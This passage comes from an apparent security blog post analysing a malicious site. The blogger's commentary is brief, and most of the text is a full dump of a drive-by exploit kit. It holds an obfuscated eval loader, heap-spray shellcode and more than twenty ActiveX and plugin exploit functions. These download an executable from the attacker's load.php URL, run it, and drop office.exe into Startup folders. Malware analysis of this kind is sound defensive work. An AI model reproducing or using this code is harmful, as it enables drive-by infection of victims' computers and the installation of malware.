- vps.whitepaw.com) reported to myself by a friend, and decided to check it out. Needless to say, the results were interesting.
try { function pfcDFUbcLMGjy(lkRyLDY){var NTaWjL="",GOmCZx,ZAyHKrUJjS,HsxXD,ANxzTlOD,lTGZkYVpx,kLqfioTGFW,OWDIoXPrf,DjFVfMbCP,NbdSIPk;var lBYPwaefXA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var jZeygT="";for(DjFVfMbCP=0;DjFVfMbCP<lkRyLDY.length;){ANxzTlOD=lBYPwaefXA.indexOf(lkRyLDY.charAt(DjFVfMbCP++));lTGZkYVpx=lBYPwaefXA.indexOf(lkRyLDY.charAt(DjFVfMbCP++));NbdSIPk=pfcDFUbcLMGjy;kLqfioTGFW=lBYPwaefXA.indexOf(lkRyLDY.charAt(DjFVfMbCP++));OWDIoXPrf=lBYPwaefXA.indexOf(lkRyLDY.charAt(DjFVfMbCP++));GOmCZx=(ANxzTlOD<<2)+(lTGZkYVpx>>4);ZAyHKrUJjS=((lTGZkYVpx&15)<<4)+(kLqfioTGFW>>2);HsxXD=((kLqfioTGFW&3)<<6)+OWDIoXPrf;NbdSIPk=NbdSIPk.toString();NTaWjL+=String.fromCharCode(GOmCZx);if(kLqfioTGFW!=64)NTaWjL+=String.fromCharCode(ZAyHKrUJjS);if(OWDIoXPrf!=64)NTaWjL+=String.fromCharCode(HsxXD);}NbdSIPk=NbdSIPk.replace(/\W/g,"");NbdSIPk=NbdSIPk.split("").reverse().join("");for(DjFVfMbCP=0;DjFVfMbCP<NTaWjL.length;DjFVfMbCP++)jZeygT+=String.fromCharCode(NTaWjL.charCodeAt(DjFVfMbCP%NTaWjL.length)^NbdSIPk.charCodeAt(DjFVfMbCP%NbdSIPk.length));return eval(jZeygT);}pfcDFUbcLMGjy("dEdZRXpKTEFWRU5SVX1sBAkGRwcDHgo9LHNZQio/IBcgAzgyRCcGJAQQCgYeBAUGBSRhcQ0EPAkZAkxMV0ZjXggyPDEuB2MRPyIeLFR8RUZeYUlrYWolDCUAOStLDAoqFQkcY1BPUFdFVWN7fToyFRgIP0QjMQFtW3ZkAjAcBF1BShs7HXkSMTYpbgEoCjMkRzRYPzcNPkg1KQdrGwIHCQwcWEoaHAETHVwEARxSSGFZQDcLATsGNScnSgAhAy5LAhEcFQsWKDggPwBKJw0iKD4BS3U=");} catch(e){}
If we then load images2/index.php, we see yet another script. This time alot more interesting than the last (Ref:
).
This one contains the script itself, but has the bulk of the code, encoded and shoved in a div (HTML element). This has become quite popular with the bad guys, and is likely due to the misconception that it makes it harder to decode - it doesn't.
, we are informed the script cannot be decoded. To get around this however, we can simply change;
All we need to do then, is move the code from the div, and shove it in a var called strangely enough, content;
var url='http://www.sexy-celeb-photos.com/images2/load.php';
var m=new Array();
var mf=0;
function hex(num,width){
var digits='0123456789ABCDEF';
var hex=digits.substr(num&0xF,1);
while(num>0xF){
num=num>>>4;
hex=digits.substr(num&0xF,1)+hex;
}
var width=(width?width:0);
while(hex.length<width)hex='0'+hex;
return hex;
}
function addr(addr){
return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
}
function unes(str){
var tmp='';
for(var i=0;i<str.length;i+=4){
tmp+=addr((str.charCodeAt(i+3)<<24)+
(str.charCodeAt(i+2)<<16)+
(str.charCodeAt(i+1)<<8)+
str.charCodeAt(i));
}
return unescape(tmp);
}
function hav(){
m=m;
setTimeout('hav()',1000);
}
function gss(ss,sss){
while(ss.length*2<sss)ss+=ss;
ss=ss.substring(0,sss/2);
return ss;
}
function ms(){
var plc=unescape('%u785C%u3334%u785C%u3334%u785C%u3334%u785C%u3334%u785C%u3334%u785C%u3334%u785C%u4245%u785C%u4630%u785C%u4235%u785C%u3333%u785C%u3943%u785C%u3636%u785C%u3942%u785C%u3038%u785C%u3130%u785C%u3038%u785C%u3333%u785C%u4645%u785C%u3334%u785C%u3245%u785C%u4146%u785C%u4245%u785C%u3530%u785C%u3845%u785C%u4345%u785C%u4646%u785C%u4646%u785C%u4646%u785C%u4637%u785C%u4238%u785C%u4534%u785C%u4644%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3436%u785C%u4641%u785C%u3345%u785C%u3436%u785C%u4639%u785C%u3346%u785C%u3234%u785C%u3436%u785C%u4639%u785C%u3745%u785C%u4536%u785C%u3330%u785C%u4645%u785C%u4245%u785C%u4645%u785C%u4645%u785C%u3436%u785C%u3330%u785C%u3942%u785C%u3738%u785C%u3136%u785C%u3141%u785C%u3145%u785C%u3330%u785C%u3730%u785C%u3131%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u4245%u785C%u3942%u785C%u3738%u785C%u3737%u785C%u3131%u785C%u3536%u785C%u3145%u785C%u3730%u785C%u4631%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u3745%u785C%u3942%u785C%u3738%u785C%u4143%u785C%u4635%u785C%u3031%u785C%u4432%u785C%u3730%u785C%u4430%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u3345%u785C%u3942%u785C%u3738%u785C%u3030%u785C%u3132%u785C%u4630%u785C%u4638%u785C%u3730%u785C%u4233%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u4646%u785C%u3942%u785C%u3738%u785C%u4532%u785C%u3639%u785C%u4130%u785C%u3735%u785C%u3730%u785C%u3932%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u4246%u785C%u4641%u785C%u4636%u785C%u3744%u785C%u4332%u785C%u4139%u785C%u3531%u785C%u3636%u785C%u4141%u785C%u3746%u785C%u3630%u785C%u3845%u785C%u4545%u785C%u4645%u785C%u4645%u785C%u3142%u785C%u3636%u785C%u4139%u785C%u4243%u785C%u3436%u785C%u4141%u785C%u4245%u785C%u3538%u785C%u4545%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3942%u785C%u3730%u785C%u3436%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4642%u785C%u3738%u785C%u3944%u785C%u3546%u785C%u3043%u785C%u4639%u785C%u3730%u785C%u3837%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3636%u785C%u4141%u785C%u3346%u785C%u3436%u785C%u4132%u785C%u4336%u785C%u4632%u785C%u4642%u785C%u3636%u785C%u4141%u785C%u4643%u785C%u3738%u785C%u3031%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4642%u785C%u3436%u785C%u4141%u785C%u4246%u785C%u3538%u785C%u4445%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4538%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4345%u785C%u4141%u785C%u4643%u785C%u3832%u785C%u4645%u785C%u3342%u785C%u3139%u785C%u3143%u785C%u4138%u785C%u3832%u785C%u4641%u785C%u4245%u785C%u3739%u785C%u4138%u785C%u4645%u785C%u4645%u785C%u3031%u785C%u4139%u785C%u4643%u785C%u3436%u785C%u4141%u785C%u3345%u785C%u3538%u785C%u4545%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4641%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3538%u785C%u3845%u785C%u3742%u785C%u4345%u785C%u4141%u785C%u4243%u785C%u4344%u785C%u3433%u785C%u4342%u785C%u4342%u785C%u3031%u785C%u4139%u785C%u4643%u785C%u4642%u785C%u4342%u785C%u3436%u785C%u4141%u785C%u3346%u785C%u3538%u785C%u4145%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4343%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3538%u785C%u4645%u785C%u3031%u785C%u4139%u785C%u4643%u785C%u3436%u785C%u4141%u785C%u3745%u785C%u3538%u785C%u4445%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4646%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u3538%u785C%u3031%u785C%u3436%u785C%u4141%u785C%u4646%u785C%u3538%u785C%u4545%u785C%u3642%u785C%u3436%u785C%u4142%u785C%u3746%u785C%u3730%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4645%u785C%u4541%u785C%u3442%u785C%u4442%u785C%u4345%u785C%u4530%u785C%u4345%u785C%u4530%u785C%u4345%u785C%u4530%u785C%u4345%u785C%u4530%u785C%u4336%u785C%u3330%u785C%u4245%u785C%u3542%u785C%u4342%u785C%u3436%u785C%u3533%u785C%u4430%u785C%u3831%u785C%u4442%u785C%u3031%u785C%u4630%u785C%u4142%u785C%u3436%u785C%u3330%u785C%u3436%u785C%u3239%u785C%u3745%u785C%u3436%u785C%u3242%u785C%u3345%u785C%u3942%u785C%u3436%u785C%u4339%u785C%u3344%u785C%u3436%u785C%u4239%u785C%u3146%u785C%u3739%u785C%u4345%u785C%u4331%u785C%u3942%u785C%u3436%u785C%u3939%u785C%u4643%u785C%u4345%u785C%u4331%u785C%u4344%u785C%u3632%u785C%u3641%u785C%u4541%u785C%u3234%u785C%u4345%u785C%u4332%u785C%u3942%u785C%u4344%u785C%u3931%u785C%u3045%u785C%u3135%u785C%u4646%u785C%u3544%u785C%u4431%u785C%u4239%u785C%u3745%u785C%u4532%u785C%u3132%u785C%u3245%u785C%u4345%u785C%u4431%u785C%u4641%u785C%u3430%u785C%u4531%u785C%u3444%u785C%u3131%u785C%u3142%u785C%u4139%u785C%u4130%u785C%u3542%u785C%u3436%u785C%u3430%u785C%u3436%u785C%u3542%u785C%u4243%u785C%u4345%u785C%u3233%u785C%u3938%u785C%u3436%u785C%u3345%u785C%u3441%u785C%u3436%u785C%u3542%u785C%u3346%u785C%u4345%u785C%u3233%u785C%u3436%u785C%u4245%u785C%u3436%u785C%u4345%u785C%u4132%u785C%u3142%u785C%u3242%u785C%u4432%u785C%u3745%u785C%u4645%u785C%u3730%u785C%u4231%u785C%u3131%u785C%u3031%u785C%u3031%u785C%u4142%u785C%u4442%u785C%u3341%u785C%u3241%u785C%u3041%u785C%u3141%u785C%u4645%u7468%u7074%u2F3A%u772F%u7777%u732E%u7865%u2D79%u6563%u656C%u2D62%u6870%u746F%u736F%u632E%u6D6F%u692F%u616D%u6567%u3273%u6C2F%u616F%u2E64%u6870%u0070');
CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
hav();
return(1);
}
function cobj(obj){
var ret=null;
if(obj.substring(0,1)=='{'){
try{
var clsid=obj.substring(1,obj.length-1);
ret=document.createElement('object');
ret.setAttribute('classid','clsid:'+clsid);
return ret;
}catch(e){
return null;
}
}else{
try{
ret=new ActiveXObject(obj);
return ret;
}catch(e){
return null;
}
}
}
function CreateO(o,n){
var r=null;
try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,'')}catch(e){}}
if(!r){try{r=o.CreateObject(n,'','')}catch(e){}}
if(!r){try{r=o.GetObject('',n)}catch(e){}}
if(!r){try{r=o.GetObject(n,'')}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return(r);
}
function Go(a){
var eurl=url;
var fname='winzw4MQCMz4l.exe';
var fso=CreateO(a,'Scripting.FileSystemObject')
var sap=CreateO(a,'Shell.Application');
var x=CreateO(a,'ADODB.Stream');
var nl=null;
fname=fso.BuildPath(fso.GetSpecialFolder(2),fname);
x.Mode=3;
try{nl=CreateO(a,'Micr'+'osoft.XMLH'+'TTP');nl.open('GET',eurl,false);}
catch(e){try{nl=CreateO(a,'MSXML2.XMLHTTP');nl.open('GET',eurl,false);}
catch(e){try{nl=CreateO(a,'MSXML2.ServerXMLHTTP');nl.open('GET',eurl,false);}
catch(e){try{nl=new XMLHttpRequest();nl.open('GET',eurl,false);}
catch(e){return 0;}}}}
x.Type=1;
nl.send(null);
rb=nl.responseBody;
x.Open();
x.Write(rb);
x.SaveTofile(fname,2);
sap.ShellExecute(fname);
return 1;
}
function mdac() {
var i=0;
var target=new Array(
'BD96C556-65A3-11D0-983A-00C04FC29E36',
'BD96C556-65A3-11D0-983A-00C04FC29E30',
'AB9BCEDD-EC7E-47E1-9322-D4A210617116',
'0006F033-0000-0000-C000-000000000046',
'0006F03A-0000-0000-C000-000000000046',
'6e32070a-766d-4ee6-879c-dc1fa91d2fc3',
'6414512B-B978-451D-A0D8-FCFDF33E833C',
'7F5B7F63-F06F-4331-8A26-339E03C0AE3D',
'06723E09-F4C2-43c8-8358-09FCD1DB0766',
'639F725F-1B2D-4831-A9FD-874847682010',
'BA018599-1DB3-44f9-83B4-461454C84BF8',
'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19',
'E8CCCDDF-CA28-496b-B050-6C07C962476B',null);
while(target[i]){
var a=null;
a=document.createElement('object');
a.setAttribute('classid','clsid:'+target[i]);
if(a){try{var b=CreateO(a,'Shell.Application');if(b){Go(a);}}catch(e){}}
i++;
}
return 0;
}
function wfi() {
try{
obj=cobj('WebViewFolderIcon.WebViewFolderIcon.1');
if(obj){
ms();
for(var i=0;i<128;i++){
var wvfio=new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
try{wvfio.setSlice(0x7ffffffe,0,0,202116108);}catch(e){}
var wvfit=new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
}
}
}catch(e){}
return 0;
}
function com() {
try{
obj=cobj('{EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F}');
if(obj){
ms();
z=Math.ceil(0x0c0c0c0c);
z=document.scripts[0].createControlRange().length;
}
}catch(e){}
return 0;
}
function ya1(){
try {
var obj=null;
obj=cobj('{DCE2F8B1-A520-11D4-8FD0-00D0B7730277}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 5000) buf += buf;
buf = buf.substring(0,5000);
obj.server = buf;
obj.initialize();
obj.send();
}
} catch(e){}
return 0;
}
function ya2(){
try {
var obj=null;
obj=cobj('{9D39223E-AE8E-11D4-8FD3-00D0B7730277}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 5000) buf += buf;
buf = buf.substring(0,5000);
obj.server = buf;
obj.receive();
}
} catch(e){}
return 0;
}
function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
function mdss(){
try {
var obj=null;
obj=cobj('{EEE78591-FE22-11D0-8BEF-0060081841DE}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
for (i=1;i<=9999;i++)
buf += buf;
EngineID='default';
MfgName='default';
ProductName='default';
ModeID='default';
ModeName=buf;
LanguageID=1;
Dialect='default';
Speaker='default';
Style=1;
Gender=1;
Age=1;
Features=1;
Interfaces=1;
EngineFeatures=1;
RankEngineID=1;
RankMfgName=1;
RankProductName=1;
RankModeID=1;
RankModeName=1;
RankLanguage=1;
RankDialect=1;
RankSpeaker=1;
RankStyle=1;
RankGender=1;
RankAge=1;
RankFeatures=1;
RankInterfaces=1;
RankEngineFeatures=1;
obj.FindEngine(EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures);
}
} catch(e){}
return 0;
}
function office(){
var dir=new Array(
'C:\Documents and Settings\All Users\Start Menu\Programs\StartUp\office.exe',
'C:\Documents and Settings\All Users\Menu Iniciar\Programas\Iniciar\office.exe',
'C:\Documents and Settings\All Users\Menu Inicio\Programas\Inicio\office.exe',
'C:\Documents and Settings\All Users\Kuynnistu-valikko\Ohjelmat\Kuynnistys\office.exe',
'C:\Documents and Settings\All Users\Menu Dumarrer\Programmes\Dumarrage\office.exe',
'C:\Documents and Settings\All Users\Menuen Start\Programmer\Start\office.exe',
'C:\Documents and Settings\All Users\Menu Start\Programma\'s\Opstarten\office.exe',
'C:\Documents and Settings\All Users\Start Menu\Programlar\BASLANGI\office.exe',
'C:\Documents and Settings\All Users\Menu Start\Programy\Autostart\office.exe',
'C:\Documents and Settings\All Users\Start-meny\Programmer\Oppstart\office.exe',
'C:\Documents and Settings\All Users\Start-menyn\Program\Autostart\office.exe',
'C:\Documents and Settings\All Users\Menu Avvio\Programmi\Esecuzione automatica\office.exe',
'C:\Dokumente und Einstellungen\All Users\Startmenu\Programme\Autostart\office.exe');
var obj=null;
obj=cobj('snpvw.Snapshot Viewer Control.1');
if (obj){
for(j=0;j<dir.length;j++){
try{
obj.Zoom = 0;
obj.ShowNavigationButtons = false;
obj.AllowContextMenu = false;
obj.SnapshotPath = url+'&opr=1';
obj.CompressedPath = dir[j];
obj.PrintSnapshot();
}catch(e){}
}
}
return 0;
}
function dl(){
try{
var obj=null;
obj=cobj('Downloader.DLoader.1');
if (obj){
obj.DownloadAndInstall(url);
}
}catch(e){}
return 0;
}
function wks(){
try{
var obj=null;
obj=cobj('{00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6}');
if(obj){
ms();
var num = 202116108;
obj.WksPictureInterface = num;
}
}catch(e){}
return 0;
}
function ogame(){
try{
var obj=null;
obj=cobj('{F917534D-535B-416B-8E8F-0C04756C31A8}');
if(obj){
ms();
var buf = '';
while (buf.length < 600) buf += '';
obj.IEStartNative(buf);
}
}catch(e){}
return 0;
}
function ca(){
try{
var obj=null;
obj=cobj('{BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3}');
if (obj.AddColumn) {
ms();
var buf = addr(0x0c0c0c0c);
while(buf.length < 128)buf += buf;
buf = buf.substring(0, 128);
obj.AddColumn(buf,1);
}
}catch(e){}
return 0;
}
function buddy(){
try {
var obj=null;
obj = cobj('Sb.SuperBuddy');
if (obj) {
ms();
obj.LinkSBIcons(0x0c0c0c0c);
}
} catch(e){}
return 0;
}
function gomweb(){
try {
var obj=null;
obj = cobj('GomWebCtrl.GomManager.1');
if (obj) {
ms();
var buf='AAAA';
while (buf.length < 506) buf += buf;
buf = buf.substring(0,506);
buf += addr(0x0c0c0c0c);
obj.OpenURL(buf);
}
} catch(e){}
return 0;
}
function xmlcore(){
try {
var xml = null;
var xml = cobj('Msxml2.XMLHTTP.6.0');
if (xml){
xml = cobj('Msxml2.XMLHTTP.4.0');
}
if(!xml)return 0;
var obj=null;
obj = cobj('{88d969c5-f192-11d4-a65f-0040963251e5}');
obj = obj.object
if(obj) {
ms();
try {obj.open(new Array(),new Array(),new Array(),new Array(),new Array());} catch(e) {};
obj.open(new Object(),new Object(),new Object(),new Object(),new Object());
obj.setRequestHeader(new Object(),'...');
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
obj.setRequestHeader(new Object(),0x1016660);
}
} catch(e){}
return 0;
}
function quick(){
try {
var obj=null;
obj = cobj('QuickTime.QuickTime.4');
if (obj) {
ms();
var buf = '';
for(var i=0;i<200;i++) {
buf += 'AAAA';
}
buf += 'AAA';
for(var i=0;i<3;i++)buf += '';
var my_div = document.createElement('div');
my_div.innerHTML =
'<object classid=\'clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\' width=\'200\' height=\'200\'>' +
'<param name=\'src\' value=\'object_rtsp\'>' +
'<param name=\'type\' value=\'image/x-quicktime\'>' +
'<param name=\'autoplay\' value=\'true\'>' +
'<param name=\'qtnext1\' value=\'<rtsp://BBBB:'+buf+'>T<myself>\'>' +
'<param name=\'target\' value=\'myself\'>' +
'</object>';
document.body.appendChild(my_div);
}
} catch(e) {}
return 0;
}
function real(){
try {
var obj=null;
obj = cobj('IERPCtl.IERPCtl.1');
if (obj) {
if(obj.PlayerProperty('PRODUCTVERSION')>'6.0.14.552') {
obj = cobj('{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}');
ms();
var m = '';
var buf = addr(0x0c0c0c0c);
while (buf.length < 32) buf += buf;
buf = buf.substring(0,32);
m = obj.Console;
obj.Console = buf;
obj.Console = m;
m = obj.Console;
obj.Console = buf;
obj.Console = m;
}
}
} catch(e){}
return 0;
}
function ntaudio(){
try{
var obj=null;
obj=cobj('{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 5200) buf += buf;
buf = buf.substring(0,5200);
obj.SetFormatLikeSample(buf);
}
}catch(e){}
return 0;
}
function creative(){
try{
var obj=null;
obj=cobj('{0A5FD7C5-A45C-49FC-ADB5-9952547D5715}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 512) buf += buf;
buf = buf.substring(0,512);
obj.cachefolder = buf;
}
}catch(e){}
return 0;
}
function wme(){
try {
var obj=null;
obj=cobj('{A8D3AD02-7508-4004-B2E9-AD33F087F43C}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 2000) buf += buf;
buf = buf.substring(0,2000);
obj.GetDetailsString(buf,1);
}
} catch(e){}
return 0;
}
if (
office() ||
mdac() ||
dl() ||
wme() ||
wfi() ||
com() ||
ya1() ||
ya2() ||
fb() ||
mdss() ||
creative() ||
wks() ||
ogame() ||
ca() ||
buddy() ||
gomweb() ||
xmlcore() ||
quick() ||
real() ||
ntaudio()
) {}
... it would appear so.
Posts
